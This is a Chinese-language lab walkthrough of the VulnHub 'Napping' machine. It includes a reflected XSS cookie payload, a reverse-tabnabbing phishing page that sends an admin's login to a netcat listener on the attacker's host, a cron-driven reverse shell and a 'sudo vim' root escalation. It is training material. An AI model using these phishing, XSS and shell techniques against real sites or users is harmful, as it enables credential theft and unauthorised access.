0x00 环境准备
-
下载地址
https://www.vulnhub.com/entry/napping-101,752/
-
靶机介绍
Name: Napping: 1.0.1 Date release: 22 Oct 2021 Author: hadrian3689 Series: Napping Description Even Admins can fall asleep on the job
-
虚拟机
Virtualbox 仅主机
kali也用该网卡
0x01 信息收集
- ip探测
- 端口服务识别
0x02 漏洞挖掘
思路一:80 web漏洞挖掘
手动+扫描器挖
首页为一处登录页面
手工测试点
(1)注册账号后,登录后台挖漏洞
(2)登录处sql注入测试
(3)无登录验证码,可以从登录或注册信息 ,测试是否提示存在的账号,收集到存在的账号进行爆破。
(4)查看源码有无可利用信息。
(5)目录爆破,测试其他页面。
思路二:22 ssh爆破
hydra爆破root密码,或者获取到其他账号信息后,用来爆破密码。
通过web获取到登录页面的 账号密码,也可以ssh登录试试,一个账号密码 多用很正常。
步骤一:注册账号登录后台
注册账号test 密码 123123
登录成功
步骤二:后台漏洞探测
(1)从网页信息 Hello, test! Welcome to our free blog promotions site.
Please submit your link so that we can get started. All links will be reviewed by our admin
中得知 该网站是一个 免费博客推广网站,输入链接,管理员会审查,之后进行推广。
绑定http://www.baidu.com测试
发现 可以利用 Reverse Tabnabbing
(2)可以考虑做钓鱼链接,伪造登录页面, 将获取到的账号密码,传到vps的一处文件中,然后跳转到
如果管理员大意的话,应该会再次输入账号密码。
(3)还有反射型xss 不过用处不大
输入的 \ ’ "等特殊字符会被转义,最后使用
如下payload 闭合标签 反射xss
\123'''></a><script>alert(document.cookie)</script>
步骤三:钓鱼
(1)保存登录页面
右键-另存为-login.html
(2)准备一个恶意页面diaoyu.html
<!DOCTYPE html>
<html>
<body>
<script>
if(window.opener) mainframe.location.replace=('http://192.168.56.137:7777/login.html');
if(window.opener != window) mainframe.location.replace=('http://192.168.56.137:7777/login.html');
</script>
</body>
</html>
(3)将保存到的页面和diaoyu.html 放置在kali上
(4)起一个python http服务
python3 -m http.server 80
(5)kali 监听 7777端口
nc -lvvp 7777
(6)等待管理员检查链接。
如果中招,就会在监听的7777端口收到登录信息。
username=daniel&password=C%40ughtm3napping123 sent 0, rcvd 275
得到
账号daniel
密码C@ughtm3napping123
步骤四:利用账号登录
(1)后台登录
无效的账号密码
(2)ssh登录
登录成功
0x03 提权
步骤五:信息收集
(1)看用户 及组 什么特殊账号
一会儿可关注这些用户组或用户可访问的文件
(2)看网站根目录是否存在数据库账号密码 等其他敏感信息
可登录数据库 查看数据 或者 ssh登录尝试
adrian
P@sswr0d456
先ssh登录 结果失败
登录 数据库后 从website 库中user表
发现一堆加密的账号密码
感觉用处不大,后续 没有其他办法 再去注册页面中看看加密方法进行解密吧。
(3)看/home 目录下 各最后那个号存在什么可疑文件
只有两个用户目录
adrian中 存在 query.py 当前登录的用户所属组可以读写文件 应该可以利用
daniel目录 不存在可疑文件
(4) sudo -l
该用户不可以sudo
可以想办法从adrian中入手
步骤六:查看query.py文件
(1)因为adrian中 存在 query.py 当前登录的用户所属组可以读写文件 应该可以利用
该py的大概功能是 请求 靶机主页,如果主页 状态码为200,打开site_status.txt文件 写入站点是正常的 在写入现在的时间。
反之如果状态码不为200,写入请检查站点,以及当前时间。
看到这里 就知道 有定时任务执行该脚本。可以利用定时任务提权
(2)查看 site_status.txt
没两分钟写入一次 说明 定时任务没两分钟执行一次。
步骤七:利用定时任务反弹adrian用户的shell
(1)在tmp目录添加反弹shell文件
(2)修改 query.py脚本 加入执行 /tmp/shell.sh 的命令
(3)定时任务反弹shell成功
步骤八:sudo -l 提权至root
(1) sudo -l 查看sudo权限
显示 /usr/bin/vim 无需 密码 就可以 以root权限执行
(2)vim 提权
sudo vim -c ':!/bin/sh'
管理员不能保持清醒。
0x04 总结
该靶机根据页面提示信息,以及输出的链接直接显现在网页中,就用 Reverse Tab Nabbing - HackTricks 钓鱼方法(靶机中存在脚本中你的钓鱼页面)获取到账号密码,秉着账号密码多用原则,用该密码尝试ssh登录成功,后续通过定时任务 反弹回 另一账号shell,再根据sudo 配置 vim 无密码可用,反弹回root shell。
看看 靶机中的自动中钓鱼页面的脚本
从数据库中获取到你写入的链接,然后带入账号密码 请求该链接。